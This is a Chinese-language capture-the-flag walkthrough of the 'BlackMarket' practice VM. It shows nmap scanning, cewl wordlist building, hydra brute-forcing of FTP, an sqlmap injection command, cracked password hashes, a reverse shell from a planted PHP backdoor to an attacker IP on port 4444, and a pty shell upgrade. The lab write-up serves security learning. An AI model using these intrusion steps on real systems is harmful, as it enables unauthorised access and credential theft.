BlackMarket靶机

靶机IP地址

扫描靶机开放的端口

nmap -p- -A 192.168.111.143

访问80端口拿到一个登陆界面。查看源码在最后面拿到第一个flag。Web登录页面没有验证码,ftp也可以访问,但是需要账号密码,这里保留对两处爆破的想法。

flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=}

echo 'Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=' |base64 -d

base64解密得到的结果是CIA - Operation Treadstone,google了一下这好像是一部影片

从WP来看能搜索到一个介绍CIA - Operation Treadstone的网站https://bourne.fandom.com/wiki/Operation_Treadstone
利用cewl爬取网站生成关联词字典

cewl https://bourne.fandom.com/wiki/Operation_Treadstone -d 1 -w BlackMarket_dic.txt

拿生成的字典对账号密码利用hydra进行爆破

拿到ftp的账号密码登录。在ftp里面拿到第二个flag

ftp 192.168.111.143
ls -al
cd ftp
ls -al
cd IMPFiles
ls -al
get IMP.txt

查看上面的提示,我专注于“车辆车间”,并开始检查网络浏览器以查找具有车辆/车间的每个可能目录,不幸的是,我在尝试时检索了以下网页

http://192.168.111.143/vworkshop/

那是黑市汽车车间的仪表板。

在检查了整个仪表板之后,我们签出了备件并观察了其网页和 URL。因此,我们决定使用 SQLMAP against 进行 SQL 注入。

执行以下命令,在sqlmap的帮助下获取其数据库名称。

python3 sqlmap.py -u http://192.168.111.143/vworkshop/sparepartsstoremore.php?sparepartid=1 --dbs --batch

在这里,我找到了一些数据库名称,根据我的考虑,它应该是黑市,因此,为了不浪费时间,我提前从其中获取表。

拿到第三个flag

然后我们获取了表“user”并找到了带有其哈希密码的用户名。

用户名:admin |密码:cf18233438b9e88937ea0176f1311885 MD5:BigBossCIA

用户名: user |password: 0d8d5cd06832b29560745fe4e1b941cf md5 (md5($pass)) : user

再次在浏览器中探索目标 IP,并输入以下凭据进行登录。

获得第四个flag

从 Inside 客户那里,我收到了用户 Jason Bourne 的电子邮件 ID jbourne@cia.gov。

目录扫描

注意到 /squirrelmail/

因此,我们探索以下 URL http://192.168.1.104/squirrelmail/,并输入以下给定的凭据,如 第四个flag (Jason Bourne电子邮件访问?????)

用户名: jbourne

密码:?????

它给出了以下邮箱

在邮箱里面拿到flag5,意思是他拿到一段信息不会解密。

置换密码

寻找上述路径

字符串工具并输入以下命令从其内部提取元数据。

strings PassPass.jpg

由于上面提取的元数据“Pass”可能是可能的密码,我们可以将其用于进一步的方法,因此,我们尝试对其进行解码。由于它是十进制 (5215565757312090656) 格式,因此首先,我们将其解码为十六进制 (4861696C4B474220),然后将其解码为 ascii 并得到“HailKGB”

到达了以下 URL,您将在其中找到“未找到页面”错误消息.......

http://192.168.111.143/vworkshop/kgbbackdoor/backdoor.php

有一个隐藏的密码输入框看网页源码可以发现

输入攻击者 IP:192.168.111.147 和监听端口 4444,然后在新终端中启动 netcat 监听以获取受害者的反向连接

成功监听

发现第六个flag

cd /home ls -al cd .Mylife ls -al cat .Secret

DimitriHateApple,因为该文件被命名为秘密,因此,我将 DimitriHateApple 作为用户的密码:Dimitri

用户:Dimitri

密码: DimitriHateApple

python -c 'import pty; pty.spawn("/bin/bash")'
su dimitri
DimitriHateApple

显示为all,所有命令都可以

成功

  • 36
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值